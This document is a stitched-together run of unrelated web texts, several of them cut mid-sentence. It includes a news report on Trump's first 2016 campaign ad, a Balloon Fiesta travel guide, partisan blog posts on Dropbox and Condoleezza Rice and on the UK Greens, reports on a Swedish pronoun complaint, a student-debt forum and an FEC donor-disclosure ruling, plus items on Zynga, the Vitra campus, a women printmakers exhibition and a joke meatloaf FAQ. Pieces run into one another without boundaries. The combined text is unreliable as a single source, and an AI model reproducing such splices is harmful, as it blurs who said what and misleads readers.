The narrator, a deep-voiced man, speaks ominously: “That’s why he’s calling for a temporary shutdown of Muslims entering the United States, until we can figure out what’s going on. He’ll quickly cut the head off ISIS and take their oil. And he’ll stop illegal immigration by building a wall on our southern border that Mexico will pay for.”
The spot closes with the image of Trump thundering at one of his rallies, “We will make America great again!”
The Republican presidential candidate’s long-awaited and hotly anticipated first ad, which was shared exclusively with The Washington Post, is set to launch Monday as part of a series that will air in the final month before the Iowa caucuses. Trump has vowed to spend at least $2 million a week on the ads — an amount that will be amplified by the countless times they are likely to be played on cable news and across social media.
[Donald Trump featured in new extremist recruitment video]
Donald Trump addresses thousands of supporters last Saturday in Biloxi, Miss. (Spencer Platt/Getty Images)
The decision to air television ads — which Trump hinted at for months, though the billionaire mogul has been loath to spend more than he deems necessary — represents a tightly produced new act for a candidate who has fed largely off free media attention.
In an interview Sunday with The Post, Trump said that he has six to eight ads in production and that his was a “major buy and it’s going to go on for months.” He said he hopes the spots impress upon undecided voters that the country has become “a dumping ground.”
“The world is laughing at us, at our stupidity,” he said. “It’s got to stop. We’ve got to get smart fast — or else we won’t have a country.”
Trump has risen to the top of a chaotic Republican field in part because he embodies voters’ rejection of the professional political class. By taking to the airwaves, he is turning to one of the traditional tools of a modern political campaign.
[One year, two races: Inside the Republican Party’s bizarre, tumultuous 2015]
Trump watched last fall as rival campaigns and their allies spent tens of millions of dollars on TV ads that did not give them much bounce. He said he figured that advertising would be a waste for him, too. Yet as the race tightened with the approach of the new year, some of Trump’s supporters, including former adviser Roger Stone, publicly urged him to compete on the air.
Trump said he concluded that he may end up regretting not spending more of his own money to secure the nomination. He said he recalled thinking, “I’m $35 million to $40 million under budget, and to be honest, I don’t think I need [ads] because I have such a big lead. But I don’t want to take any chances, and I almost feel guilty not spending money.”
1 of 25 Full Screen Autoplay Close Skip Ad × People and groups Donald Trump has denounced View Photos Republican presidential candidate Donald Trump is not one to back down readily from controversial statements, and the list of those he dislikes continues to grow. Caption Not one to back down easily from controversial statements, the Republican presidential candidate continues to add to the list of people he condemns. Mitt Romney After being attacked as a “fraud” by Mitt Romney, Donald Trump slammed him as a “choke artist” and “failed candidate” who begged for Trump’s endorsement during his 2012 presidential bid. Tom Smart/EPA Buy Photo Wait 1 second to continue.
The first ad, titled “Great Again,” makes clear that Trump’s closing pitch to voters will be as visceral and arresting as the one he delivers at raucous rallies. It is a full embrace of the most incendiary of his proposals, as opposed to the more biographical spots that some other candidates favor.
One afternoon last week in the candidate’s 26th-floor suite at Trump Tower here, the fiery depictions of global terrorism flickered on Trump’s face as he stared down at campaign manager Corey Lewandowski’s laptop computer to watch the final cut of the ad.
“Play it again,” Trump told Lewandowski, nodding approvingly. “I love the feel of it.”
The ad, which is 30 seconds long, will air in Iowa and New Hampshire. Lewandowski said Trump eventually plans to advertise in Nevada and South Carolina, whose contests will come later in February.
In a statement Monday, the Trump campaign said it has allocated $1.1 million for Iowa and close to $1 million for New Hampshire.
Airwaves in the early states already are saturated, with campaigns and super PACs in both parties gobbling up advertising time.
For instance, Ohio Gov. John Kasich released the first ad of his campaign Sunday. The spot, which will air in New Hampshire, has striking imagery and highlights Kasich’s rough upbringing, personal resilience and governing achievements. The intended takeaway: “John Kasich never gives up.”
Advertising by Trump has been limited to radio spots until this week. In November, he made a $300,000 buy for four ads that played in early states, including one that promised he would “decisively bomb the hell out of ISIS.”
Trump’s campaign said Monday that it would purchase more radio ad time in the coming weeks with several surrogates promoting him. A new radio ad in South Carolina features Nancy Mace, the first female graduate of The Citadel.
Trump said he reviewed several proposals for his first television ad but settled on the dark backdrop of “Great Again” because he wanted to showcase what makes him stand apart from the competition: bucking political correctness and speaking in vivid, stark terms about threats to national security.
Although Sen. Ted Cruz (Tex.), New Jersey Gov. Chris Christie, Kasich and other Republican presidential candidates have at times echoed Trump, none has gone as far as Trump in recommending that Muslims be barred from entering the country or that a massive, impenetrable border wall be built.
[Republicans embrace Trump’s ban on Muslims while most others reject it]
Trump said he wants his ads to hammer that distinction for voters who may still be torn between two or more candidates.
“It’s about immigration and safety, and they play hand in hand,” he said. “If you look at every poll, I’m the leader on the economy, but it’s immigration and ISIS, too. I’m bringing them all together.”
Alex Castellanos, a longtime GOP ad creator who is unaligned in the 2016 race, said Trump ought to use his January ads to make a closing argument. He even came up with a slogan: “The strength we want for the change we need.”
“Sum it up before the jury,” Castellanos said. “I would make the case that America is in decline, about to slip over the precipice, and we need a president as big as our fears and as strong as our adversaries — and only one man has demonstrated that strength.”
Trump and Lewandowski declined to name the firm or person responsible for producing the ads. When pressed, Trump said, “He’s somebody who’s respected very much, somebody’s who’s had a good record of ads.”
Trump said his advertising blitz is being financed chiefly out of his own pocket, although his campaign had raised $3.9 million through the third quarter of last year, much of that in small-dollar donations.
“All me, 100 percent me — 100 percent,” Trump said. “I’m self-funding my campaign. We do have small donors that send in $12, $25, $100, but they just send it in. We’re not asking for it.”
Discussing his vision for the ads, Trump sounded more like a media strategist than a politician. He said that television has a unique aesthetic and that rather than speaking directly into the camera, his ads would intersperse rally footage with images designed to draw viewers to focus on the issues of his campaign.
Trump said that as a producer and star of NBC’s hit reality program “The Apprentice,” he came to appreciate that straight-to-camera ads featuring political candidates are boring or seem manufactured. By contrast, he said, Facebook, Instagram and other social media are more conducive to direct videos.
“We have a lot of the rallies in them and we’ll include more, assuming it looks good and is captured right,” Trump said of his upcoming ads. “I don’t like sitting down and shooting an ad because I don’t think you capture the same energy you see at our events like we had in Mississippi on Saturday,” when he drew throngs to a 15,000-seat arena in Biloxi.
Trump added, “You can say the same words, ‘Make America Great Again,’ and various themes around it, but it’s doesn’t sound the same as it is when I’m up there on stage in front of 15,000 people going wild.”
Rucker reported from Washington.Trip overview: The Albuquerque International Balloon Fiesta is an annual event in that runs for nine days in early October. During the fiesta, hundreds of hot air balloons fill the sky above Albuquerque providing amazing views and photo opportunities. Locals claim this fiesta is one of the most photographed events in the world. Fiesta visitors are able to walk right up to the balloons as they launch, which provides a unique viewing experience. There are also many vendors at the Fiesta who sell authentic New Mexican food! We attended the Balloon Fiesta in October of 2017.
Preparations:
Tickets: You must purchase a general admission ticket for each Fiesta session you wish to attend. Tickets are $10 each and can be used for either the Morning Session (5:45-11:30 am) or Evening Session (1:30-9:00 pm). Up to date ticket information can be found at the Balloon Fiesta website, but tickets can typically be purchased at the entry gate upon arrival or ahead of time online or at several local stores. To see all that the Fiesta has to offer, you will want to buy at least 2 tickets and attend both a Morning Session and an Evening Session.
Logistics: The Fiesta takes place at the Balloon Fiesta Park, which is located at 5000 Balloon Fiesta Pkwy NE, Albuquerque, NM 87113. It is best to find accommodations that are within ~30 minutes driving from the park because traffic can be slow and you will want to arrive to the Morning Sessions very early. We chose to rent an AirBnB in Albuquerque, there are also many hotel options.
We ended up taking Ubers to and from the Fiesta each day, and it was easy and fast. Uber was a sponsor for the event and Uber drivers were able to drive in the traffic-free bus routes and drop guests off at a special parking lot. I cannot guarantee this option will be available at future Fiestas, but I would highly recommend using Uber if they have access to the bus routes. The next best option is to use the Park & Ride service. Tickets for this service are $15 for adults (13-61 yrs.), $12 for seniors (61+), and $7 for children (6-12 yrs.) and can be purchased in advance online or on-site at most of the pickup locations. With this service, you park at an outside lot and are bused the remaining distance to the Balloon Fiesta Park. The worst option is driving your own vehicle and parking at the Balloon Fiesta Park parking lot. The traffic near the park is very heavy and slow. Parking is only $15 per vehicle, but be prepared to be in traffic for 30 minutes at a minimum.
Once you arrive at the Balloon Fiesta Park, head to one of the several gates and enter the Fiesta. You then can either head to the launch field and see the balloons or go to the concession area to buy food and drinks. There are restrooms at the Fiesta, but be aware that they are porta potties and the lines can be long.
Supplies: The Balloon Fiesta is all outdoors so check the weather forecast and dress accordingly. Mornings and evenings are generally chilly and sunny days can be warm in the afternoon. I bought a rain jacket and a light down jacket to keep warm in the morning, and it worked well. We were briefly rained on during one Evening Session, so be aware that it can rain and there are not many places to hide. You will likely be on your feet most of the time while at the Fiesta, so a comfortable pair of shoes is also important. If you prefer to sit, bring a blanket to sit on or bring a lightweight packable chair. You will also want a nice camera for taking photos and will want a hat or sunglasses since there is no shade on the launch field.
You can bring in outside drinks and food, but glass and alcohol are not allowed. We chose to just buy food at the Fiesta and it was very good. In the morning there are plenty of breakfast burrito options, and in the evening there are several New Mexican staples with green and red chile. If you do plan to bring your own food/drinks, bags, backpacks, and coolers are allowed into the |
the hypocrisy vividly in his Fox column (bolds are mine):
Dropbox, Condoleezza Rice controversy: More proof liberals are the new intolerants... young tech geniuses are now trying to purge conservatives and those who support conservative causes from corporate board rooms.... For decades, the liberal media eviscerated the religious right and other conservatives for their own attacks against liberal social causes. Over time, the media labeled anyone who didn’t agree with the left’s world view as intolerant. Progressive journalists were quick to support the Democrats’ meme of their opponents as mean-spirited, bigoted, homophobic or racist. But the pendulum has now swung the other way. Diversity is no longer about differing views. The new bullies are the left. Yesterday’s champions of diversity have become today’s intolerants. Black, gay and Hispanic conservatives are labeled self-haters and considered sell-outs to their communities. The left sees no place for differing opinions. In fact, if you have a minority opinion from the majority liberal view then you will be run out of the room.... Wired Magazine’s Marcus Wohlsen, a Berkeley, Calif. resident, wrote this as his lead for the Dropbox announcement: “Condoleezza Rice — Stanford professor, Iraq War architect, alleged warrantless wiretap supporter — is joining the board at the rising tech startup.” Wohlsen failed to mention that Dr. Rice was the former National Security Advisor and Secretary of State. Wohlsen’s piece goes on to argue that Rice should be dropped from the board because Americans won’t trust her and therefore the company. Wohlsen’s assumption that all Americans are Democrats leaves out the possibility that Republicans may not trust corporate America’s liberal board members.... We all know that President Obama’s liberal... Susan Rice would be perfectly welcome on a corporate board by the progressive scions of Silicon Valley. But that other black woman who made her own way to the top of the State Department and NSC isn’t acceptable to the mob. Is any more proof needed that liberals are the new intolerants?
I would only take issue with Grenell's characterization of these exercises as "new." They are only more virulent, because the left believes it has greater power now than it did several years ago, when it had to bite its collective tongue and pretend to be tolerant.
Dropbox is holding firm — for now. A furious Twitter war rages. The establishment press avoids covering it all because its members know that early exposure of the controversy will cast the intolerant in an unfavorable light, and hurt their chances of success.
Cross-posted at BizzyBlog.com.During a job interview the headteacher allegedly insisted on instead using the feminine personal pronoun ‘hon’ — meaning ‘she’ — while avoiding using the applicant’s preferred name.
“I had never before encountered anyone who so deliberately neglected to call me by my name,” the interviewee wrote in her official complaint to the ombudsman. “And if that doesn’t happen, despite the headteacher knowing about it, then that is discrimination against me and my gender identity.”
“My gender identity is non-binary, which in my case means that I neither identify myself as a man or a woman,” the complainant explained.
“I felt inadequate as a person, and as if I couldn’t fully exist, as if my full gender identity and identity were not acceptable”.
The Swedish Academy only included ‘hen’ in its official list of Swedish words in 2014, decades after the word — which is derived from the Finnish gender neutral personal pronoun ‘hän’ — was first proposed by gender equality activists.
According to the language periodical Språktidningen, ‘hen’ was by 2014 used once in the Swedish media for every 300 used of ‘hon’ or ‘han’, up from one in every 13,000 in 2011.
However major newspapers still generally treat it as a neologism, with Dagens Nyheter for instance instructing journalists not to use it.
Clas Lundstedt, a spokesman for the Equality Ombudsman, said that the agency had yet to decide whether to take the case to court.
“We have just started the investigation so we don’t know if we’re going to go to court with it or not,” he said.Everybody likes the Greens.
I’m sorry if that sounded sarcastic, because i’m being perfectly sincere. One of the more bizarre claims by the Conservative party during the 2011 AV referendum was something along the lines of ‘AV would mean nasty small parties like UKIP would thrive, but nice small parties like the Greens would suffer’. This, of course, totally ignores the fact that the Greens themselves supported AV but that’s besides the point. What is interesting is that even the right-wing Tories know how many people have soft-spots for the lovable Greens.
But, in 2014, perhaps ‘lovable’ isn’t the right word for Natalie Bennett’s Green Party. Having secured more votes than the Liberal Democrats in May’s European Elections, maybe ‘lovable’ can be replaced by ‘formidable’. On social media, the Greens like to talk of a ‘surge’ in supporters, with Green membership now up to around 24,000 people nationwide (although this should really be put into context- the Liberal Democrats have, despite being more unpopular than they have been for a long time, a good 20,000 more members than the Greens).
Indeed, public support for the Greens is solid. For example, four-fifths of people want to see Natalie Bennett take part in next year’s TV leaders debates. So, its time we started taking the Greens seriously. I’ve conducted a little bit of research, and unfortunately I really do find it impossible to recommend voting for the Greens in 2015. Much like my UKIP article a few months back, i’ve decided to outline the top 3 reasons why not.
1) Bizarre, ill-thought out policies
It is often (quite rightly) argued that the Green Party is deserving of more media exposure than they get right now, especially compared to UKIP. However, one advantage of this for the Greens is that the nitty-gritty of their policies is escaping widespread scrutiny.
Reading through the Green’s policies online makes for an interesting experience. On the one hand, you have some solid ideas, like ‘Changing company rules so that large and medium sized companies must take account of the environmental and social impact of their activities’.
On the other hand, however, you have totally nonsensical guff like this:
“PD302 On inspection, there is little or no threat of direct invasion of the UK by any nation. Commitment to a large standing army, a navy of large warships around our coastline, squadrons of fighter planes and a cripplingly expensive missile defence system is therefore unnecessary. Any threat of invasion that might arise in the future is so remote that realignment of the UK military and defence preparations would be possible long before any invasion occurred.”
I’m no warmonger, but it does seem short-sighted in the extreme not to have any significant military force whatsoever. It also strikes me as hugely naive to say that the ‘realignment of the UK military and defence preparations would be possible long before any invasion occurred’. Really? Surely it takes YEARS to build up an adequate military force, no matter the threat? Maybe i’m wrong, but such a laissez-faire attitude towards national security is a worrying position to take in such an uncertain geopolitical climate.
And then you have this:
“CJ382 For the vast majority of women in the criminal justice system, solutions in the community are more appropriate. Community sentences must be designed to take account of women’s particular vulnerabilities and domestic and childcare commitments. The restrictions placed on sentencers around breaches of community orders must be made more flexible.”
I’m all for progressive criminal justice policies, but being more lenient on women just because they’re women is hardly a fair and equal society. Crime is crime, regardless of gender. What we should all be pushing for is equality in the justice system, not some skewed idealism like this.
Also, and this is more of a personal view than a serious criticism, I don’t particularly like how the Greens refer to ‘[a woman’s] particular domestic and childcare commitments’. I agree that there is way too much of an emphasis placed on mothers as opposed to fathers when it comes to childcare, but we should be looking to fix this rather than create policies around these kind of dogmas. For example, the Liberal Democrats have introduced Shared Parental Leave, allowing mothers and fathers to divvy up maternity and paternity leave as they see fit, which, it is to be hoped, will end the ‘women must sacrifice their careers to raise kids’ attitude that pervades many workplaces.
I would have thought the Greens to be much more progressive on this issue than the language used in policies like this suggests.
So whilst the Green party has managed to avoid going down the UKIP route of saying outright stupid things (though there was that Green councillor who described the British army as ‘hired killers’ during a Remembrance Day parade), a number their policies are flimsy at best and incomprehensible at worst.
2) Their shambolic record of government
Brighton has become an object lesson in why it is a disaster to vote Green - The Spectator
Brighton has lost patience with the chaotic Greens - The New Statesman
Green Party in Brighton and Hove faces no confidence vote - The BBC
Have the Greens blown it in Brighton? - The Guardian
The above are just four of the countless articles concerning the truly shambolic, regrettable and often darkly hilarious record of the Green party in the one place they have any power- Brighton.
Since 2010, both the MP (Caroline Lucas) and Council for Brighton have gone Green. In the time since then, the following has occurred:
- The town now recycles less than it did before the Greens came to power
- The council attempted to force a vote on whether to increase tax by 4.75% in order to protect services from cuts, but the idea was dropped after Labour pointed out that the cost of having the vote (£900,000) would itself plug many of the gaps.
- The council threatens a fine of £50,000 for putting plastic in the paper-only recycling bin, but nobody pays any attention anyway. Brighton and Hove is ranked 302nd out of 326 councils on its recycling record.
- They council attempted to enforce ‘Meat-Free Mondays’ in council offices, which would have banned bacon rolls and meat pies in council-run staff canteens. The proposal was dropped amid protests.
- In an attempt to slow traffic on roads around the city, the Greens (seriously) suggested flooding roads with livestock such as sheep as part of their ‘speed reduction package’. Again, the proposal was ditched.
- While bin-men were on strike after an attempt by the Green council to reduce their pay, residents in Brighton were treated to the bizarre sight of seeing the Deputy Leader of the Green Party joining the bin-men in protest whilst the Leader of the party was telling them to get back to work.
- In a similar vein, one prominent member of the Green council joined street protests to stop the Green council cutting down a tree- just days after she herself voted to chop it down to make way for a cycle lane.
- Such is the levels of tension amongst the members of the Green administration that mediators were called in to try and bring the warring factions together. This lead to the fantastic headline ‘Council calls in councillors to council councillors’.
This is a party with a proven track-record of incompetence. UKIP may have a proven record of saying stupid things, but when it comes to doing stupid things, nobody can match the Green Party in Brighton and Hove. This is a key reason why I find it impossible to recommend voting for the Greens in 2015.
3) To ensure the centre-left hasn’t wasted its time
This isn’t so much a research-based point, but more of a personal view. The latest voting intentions poll carried out by YouGov shows that around 12% of people who voted Liberal Democrat at the last election are now intending to vote Green. My question to these people would be: ‘Why?’
What do you think is going to happen if you vote Green? Because, like the Lib Dems in 2010, they sure as hell are not going to win a majority. In fact, unlike the Lib Dems, they realistically aren’t going to win enough in 2015 to form a coalition with anyone either. So if you are voting Green because you like their policies (and I would refer you to point 1), you should obviously know that the Greens will arguably not be big enough to put those policies into practice for at least another 20-30 years, and certainly not in 2015.
And what then? If the Greens ever do get big enough to be the power brokers in a coalition, what do you think will happen then? Because even if they do somehow cease to be the omnishambles we’ve seen in Brighton, the very nature of coalition means that they will need to compromise. Just like the Lib Dems needed to.
And then what will you think of the Greens? What will you think when you see a Green politician apologising for being unable to deliver on key policies because of the nature of coalition? Will you then abandon the Greens as well, moving on to some other left-wing protest group, doomed to the same fate?
The only thing that you will achieve by moving from Lib Dem to Green is ensuring that the centre-left of British politics will have wasted its time, and will continue to waste it for years to come.
So yes, I do like the Greens. But voting for them in 2015 is one of the worst ideas i’ve heard since ‘Meat-Free Mondays’.Tyrone Hankerson, a graduating senior at Howard University, is in a particularly good position to see the impact of today’s student loan debt crisis firsthand – even though he has managed to head into graduation without student debt overhanging him personally.
That is because Hankerson has a work-study position in Howard’s Office of Financial Aid. There, he deals directly with students trying to pay for their college education, and prepare for the debt that they are taking on. What he hears is heartbreaking.
“For many of my classmates, their families simply do not have the financial resources to pay for college,” he said at a forum on student debt Monday convened by Massachusetts Sen. Elizabeth Warren and Maryland Rep. Elijah Cummings’ Middle Class Prosperity Project. “What I have witnessed in my role are determined students who try their hardest to find a way through.”
“They sometimes work nearly 40 hours a week with full course loads; their parents take on loan debt that they cannot truly afford to repay; they sometimes get denied for parents-plus loans and find aunts, and cousins and grandparents to co-sign,” he said. “They search high and low for scholarships, they take classes over the summer at cheaper rates so they can graduate on time, they take semesters off, and they come back, and sometimes, when all has failed them, they are left with no option but to give up.”
Warren and Cummings chose the historically black university as the site for their fourth in a series of panels on the decline of the middle class and the remedies needed to move toward more broadly shared prosperity. Of the four forums, two have been focused on student debt.
The two members of Congress were joined by current and former students, and two experts on the issue of student loans.
“Students at historically black colleges and universities like Howard face unique challenges. Because of entrenched racial disparities in wealth, African-American students are more likely to take on education debt than their white, Latino, or Asian-American peers,” said Cummings. “These trends have contributed to tuition at HBCUs rising at a higher rate than other schools, and this makes it more difficult for some of these schools to serve their students effectively.”
“For a larger and larger share of young people, getting a college education means going into debt to cover the basic costs. This exploding debt burden crushes opportunity,” Warren said, listing the costs to the economy of student debt. “Young people drowning in debt don’t consider graduate school. They can’t pay rent, buy a car, or save for their first house. They can’t start a small business, they have to think twice to see if they can risk going with a start-up. The world that should be opening up for those that are finishing college starts to close back up for those that are carrying huge debt burdens.”
Rohit Chopra, the Consumer Financial Protection Bureau’s Student Loan Ombudsman, said that though we focus on the cost of college for today’s students, we do not look at the cost of those millions of Americans who are currently paying off student debt.
“What about the 43 million people who already have student loan debt, who already owe over a trillion dollars; the eight million people in default, whose credit reports have been decimated?“ he asked. If we don’t stop the trend, he warned, “I think there may be a student debt domino effect, where it is impacting sectors from first-time homeownership to retirement security, to even whether people decide to attend medical school. All of these decisions are shaped by student debt, and we can’t forget that.”
A college education is supposed to be the key that opens doors to the middle class, not the albatross around one’s neck. That was the message conveyed by Latechia Mitchell, a second grade teacher in Maryland. After receiving a full undergraduate scholarship to Howard University, she went to Bowie State University to get her master’s in education. There, she accumulated $60,000 in debt, after deferring her initial $30,000 for four years.
“I was naive about how much debt I would accrue as a result of deferring my student loans,” she said. “Right now my family can only pay the interest on the debt, so the principal stays high.”
Mitchell and her husband, a federal government employee, pay about a third of their mortgage payment on their student loan debt. Slowly, their home is becoming too small for them and their two children.
“As a result of these student loan repayments, we live paycheck to paycheck to make ends meet,” she said. “We have not been able to save, pay for quality child care, or afford sports programs and summer camps for my children. At this time, we have postponed purchasing a more appropriately sized home for our family, because of our lack of available cash flow.”
Mitchell issued a strong warning to those looking to take out loan debt for future returns, “While my husband and I both took out financial loans to make our future more financially secure, these degrees have come at a steep cost. I’m not sure if I had known how difficult it would be to pay off student loans on a public school teacher’s salary, I would have chosen this career.“
Later, when asked if she thought students were not pursuing a teaching degree because of difficulty repaying student loans, she related that her own family had tried to dissuade her, on those grounds, to no avail.
Student debt is a crushing blow to borrowers, and it has dampened the economic prospects for not only themselves, but the American economy as a whole. While we hold up the idea of college being the stepping-stone to the middle class, a buoy against hard times, an effective hedge against a more competitive world economy, the truth is that for millions of Americans, they walk into a trap set by good intentions, that leave them more cautious in their years after graduation than they were before. This is not an America that invests in college students, but an America that preys on them. Almost everyone will tell you student debt is a problem, but few have a solution. The solution from the Campaign for America’s Future can be found here.
Another solution that would help millions of Americans who attended schools that engaged in unscrupulous practices (such as any of the Corinthian Colleges campuses) is to simply let them know their loans can be discharged. Senator Warren and Representative Cummings have asked for as much from the federal government Monday morning, in letters to the Department of Education and to student loan sevicers.
Student loan debt is a problem for past college students, such as Letechia Mitchell, current college students, like the friends of Tyrone Hankerson, and future college students, like any number of American high school seniors. Until we take measures to attack the problem head-on, it will continue to drag on the American economy, and we cannot stand for that.WASHINGTON -- A court ruling requiring non-disclosing political groups -- including the U.S. Chamber of Commerce and the Koch brothers' Americans for Prosperity -- to disclose their donors is one step closer to going into effect after a district court refused to stay its ruling in the face of an appeal.
On March 30, a district court ruled in Van Hollen v. Federal Election Commission (FEC) that a loophole in FEC rules that allowed certain independent group campaign efforts to keep private the names of donors was invalid and needed to be rewritten or reset to the original language.
On Friday, the court not only refused to stay the ruling, as requested by two intervening groups that are appealing the case, the Center for Individual Freedom and the Hispanic Leadership Fund, but the court also found that its ruling invalidated the FEC loophole, which required it to be immediately closed, resetting to the original language in the McCain-Feingold campaign reform law, known officially as the Bi-Partisan Campaign Reform Act (BCRA).
District Court Judge Amy Berman Jackson wrote, "Prior to the promulgation of the regulation that was struck down, there was a valid regulation in effect implementing the BCRA's disclosure requirement.... In light of the Court's ruling, that regulation now governs the disclosures required under the BCRA."
That language in the McCain-Feingold law required groups spending money on electioneering communications -- certain campaign ads running 30 days before a primary election and 60 days before a general election-- to disclose all donors giving $1,000 or more.
The appeal in the case is being made by the two intervenors after the FEC declined to appeal on Thursday.
"[T]he District Court's opinion in this case is thorough and well-reasoned, and does not have sufficient weakness to suggest it is likely to be reversed on appeal," the Democratic FEC commissioners Ellen Weintraub and Cynthia Bauerly wrote. "Nor does this case raise significant constitutional issues or require further guidance from the courts."
The three Republican Commissioners, Caroline Hunter, Donald McGahn and Matthew Peterson, penned a long objection to the decision not to appeal, stating, "The district court's ruling in this litigation leaves us with little direction to resolve the difficult questions facing members of the public who sponsor electioneering communications."
In 2007, the FEC wrote rules that allowed these groups to disclose only those donors who specifically earmarked their contributions for the specific electioneering communications being disclosed to the FEC. This allowed groups to claim that all donations were to their general treasuries and none were specifically intended to be spent on a particular advertising campaign.
"Today is a good day for disclosure, and we will continue our fight to restore the integrity of our electoral process," Rep. Chris Van Hollen (D-Md.), the lead plaintiff in the case, said in a statement. "The American people have a right to know who is behind the front groups spending millions of dollars to sway their vote."
The appeals court now hearing the case can still stay the ruling. If the appeals court refuses to stay the ruling, however, then the original language requiring disclosure of donors giving $1,000 or more will go into effect immediately, barring any new rules quickly written and adopted by the FEC.
Already this election year groups have spent $4.4 million on electioneering communications. These groups include the Karl Rove-linked Crossroads GPS, the U.S. Chamber of Commerce, Americans for Prosperity, American Future Fund, Planned Parenthood Action Fund, American Conservative Union and the Emergency Committee for Israel.When Mark Pincus hired a new executive to run Zynga, the online game company he founded, he wrote on Twitter, calling the executive, Don Mattrick, an “Internet treasure.”
Now, less than two years later, Zynga’s Internet treasure has left the company, and Mr. Pincus has returned as chief executive.
The departure of Mr. Mattrick was not altogether surprising to many in the industry, since a long-running turnaround plan that he set in motion at Zynga had yet to take flight. The return of Mr. Pincus to the top job, though, was unexpected since he had seemed to have largely disengaged from the business of running Zynga, best known for early Facebook games like Zynga Poker and FarmVille.
The abrupt change in leadership was another setback for a company that was once poised to be a leader in a new era of games and the Internet. Other Internet darlings of the same era, like Groupon, have also faded after their growth fizzled and profits proved elusive.Last week I was lucky enough to make the pilgrimage to the campus of Swiss furniture manufacturer Vitra, set in the bucolic surroundings of Weil Am Rhein, a short drive from Basel in Switzerland. If you are as addicted to design as me, this is an absolute must-visit; an architectural theme park with work by some of the most well-known architects in the world, such as Frank Gehry, Zaha Hadid and Tadao Ando. It requires a day, if not two, to see the current exhibition, join an architectural tour, take a ride down Carsten Holler’s new slide, stop for a coffee, and of course, visit the shop.
It all started in 1981 after a major fire destroyed most of the factory buildings built in the 1950s. Since then the site has grown organically, with a fire station by Zaha Hadid (her first built project), a bus stop by Jasper Morrison, factory buildings by SANAA, Alvaro Siza and Nicholas Grimshaw and a petrol station by Jean Prouve, to name a few.
First stop, VitraHaus, a jumble of house shaped blocks designed by Herzog & de Meuron. Here, you can view their beautifully arranged furniture – a colourful feast for the eyes – which include both the great Vitra classics and the latest contemporary designs. You can watch an Eames Lounge Chair being produced, have lunch outside in the cafe or simply look out towards the rest of the campus from one of the four floors. On the top floor, London-based studioilse (run by Ilse Crawford) has transformed the space into the home of a fictitious Finnish-German couple called Harri and Astrid (keep an eye out for another blog post later in the week). He is a musician, she is a set designer and together their home is filled with objects that tell the story of their lives – who they are, what they do and how they live. And boy is it lovely, I left wanting to go home and immediately rearrange everything!
The Eames bird is a popular motif across the campus. Here they look out towards a little playpen for Eames’s Elephants!
I’ll have one in every colour please!
Below is the conference centre by Japanese architect Tadao Ando. The calm and restrained concrete structure has a winding footpath inspired by meditation paths in the gardens of Japanese monasteries.
Then onto the Vitra Design Museum by Frank Gehry, a collage of ramps, towers and cubes. They have two exhibitions a year, many of which travel onto other galleries in Europe, most recently the Louis Kahn exhibition to London’s Design Museum. At the moment they have a fantastic exhibition on one of my favourite 20th century architects: Alvar Aalto. Titled Second Nature, it showcases his first wooden cantilevered chair for the Paimio Sanatorium and his laminated plywood chairs, the famous wavy Savoy vase and his buildings such as the library in Viipuri or the Villa Mairea, all alongside some great, atmospheric photographs by Armin Linke.
Renzo Pianos’s Diogene, a living unit named after the ancient Greek philosopher Diogenes of Sinope who is said to have lived in a barrel because he considered worldly luxuries to be superfluous.
The petrol station, below, designed in 1953 by Jean Prouvé and his brother Henry is one of the first serially manufactured petrol stations. Made of modular pieces, it was built in about 1953 for Mobiloil Socony-Vacuum but one was installed here in 2003. There are three in total on the Vitra Campus.
SANAA’s factory building is like a bulbous white cloud in the Swiss landscape. It has been a part of the Vitra Campus since 2010, except for the facade, which was completed in 2012.
And, finally Cartsen Holler’s slide, the latest addition. A viewing tower, slide and art installation in one, it consists of three diagonal columns that meet at the top, with a revolving clock mounted at their point of intersection measuring six metres in diameter. The viewing platform is at a height of 17 metres, with a corkscrew tube slide for the way down.
All Images my own
To read more about the campus architecture and see a map, click here. Find out how to get there here.In the 19th century, Henrietta Louisa Koenen, wife the Rijksmuseum Print Room’s first director, took a prescient interest in acquiring prints by women artists. These works date from the 16th century, such as a woodcut by Marie de’ Medici, daughter of Grand Duke of Tuscany Francesco I de’ Medici, to the 19th, with hand-colored engravings by Madame Alliot. This month Printing Women: Three Centuries of Female Printmakers, 1570–1900 opened at the New York Public Library’s Stephen A. Schwarzman Building, highlighting this collection for the first time since 1901.
Madeleine Viljoen, curator of prints in the Miriam and Ira D. Wallach Division of Art, Prints, and Photographs, writes in an accompanying essay that “this group of engravings, etchings, woodcuts, and lithographs by female printmakers demonstrates women have been active in the medium for almost as long as its origins, in the early to mid-15th century.” She adds that while “more recent histories have rightly drawn attention to the longstanding contributions of women to the arts, Koenen’s collection, assembled well before such revisionist accounts were written, demonstrates that printmaking in particular was never just a male endeavor.”
Printing Women includes among its over 80 pieces some supplementary selections from the New York Public Library’s Spencer Collection and the Wallach Division. Taking over two hallways on the top floor of the NYPL’s flagship building on Fifth Avenue, the prints range from amateur experiments to professional works made for commercial sale, each arguing for women’s place in early modern printmaking history. Most of the artists were aristocrats, such as court painter to King Philip II Sofonisba Anguissola, granted the freedom by their position for artistic exploration, as long as they stuck to domestic and romantic scenes rather than grand histories and mythologies that were generally the realm of men.
For example, Princess Sophie of Saxe-Coburg-Saalfeld, Queen Victoria’s aunt, has a couple of idle 17th-century etchings that act as a sort of sampler of things she was drawn to at the age of 17, with horses, hairstyles, and flowers mingling on a single page. Queen Victoria later practiced printmaking herself, with quiet domestic scenes from her royal life. Other elite women were more adventurous with their subjects, like Maria Anna of Austria, daughter of Holy Roman Emperor Francis I and Empress Maria Theresa, whose 1772 aquatint shows men fighting a fire by a stream, the darkness of the night illuminated by the blaze.
Prints like these were generally shared among friends, although Printing Women has exceptions. Adélaïde Allou, whose biography has mostly vanished into the fog of history, has two 18th-century landscapes that were made for market, and there are women like Maria Sibylla Merian, who in the 17th century researched caterpillars and butterflies, illustrating their witnessed metamorphoses in The Wonderful Transformation of Caterpillars. In the NYPL, a copy of this historic book is open to a page featuring a rose with a small butterfly approaching. Alongside the other prints in black and white and color, there’s a variety of themes and skills that shows how women were working with the same new artistic media as men, even if there were limitations to their access and subjects.
Printing Women: Three Centuries of Female Printmakers, 1570–1900 continues through May 27, 2016 at the Stephan A. Schwarzman Building of the New York Public Library (Fifth Avenue at 42nd Street, Midtown, Manhattan).Is Treatloaf® like meatloaf?
Yes, except instead of more meat in the middle, there’s a treat.
Can the treats inside a Treatloaf® be choking hazards?
Quite often they can be. I suppose that’s one of the tradeoffs with how much fun it is to discover a treat inside your meatloaf.
How important is the element of surprise in a Treatloaf®?
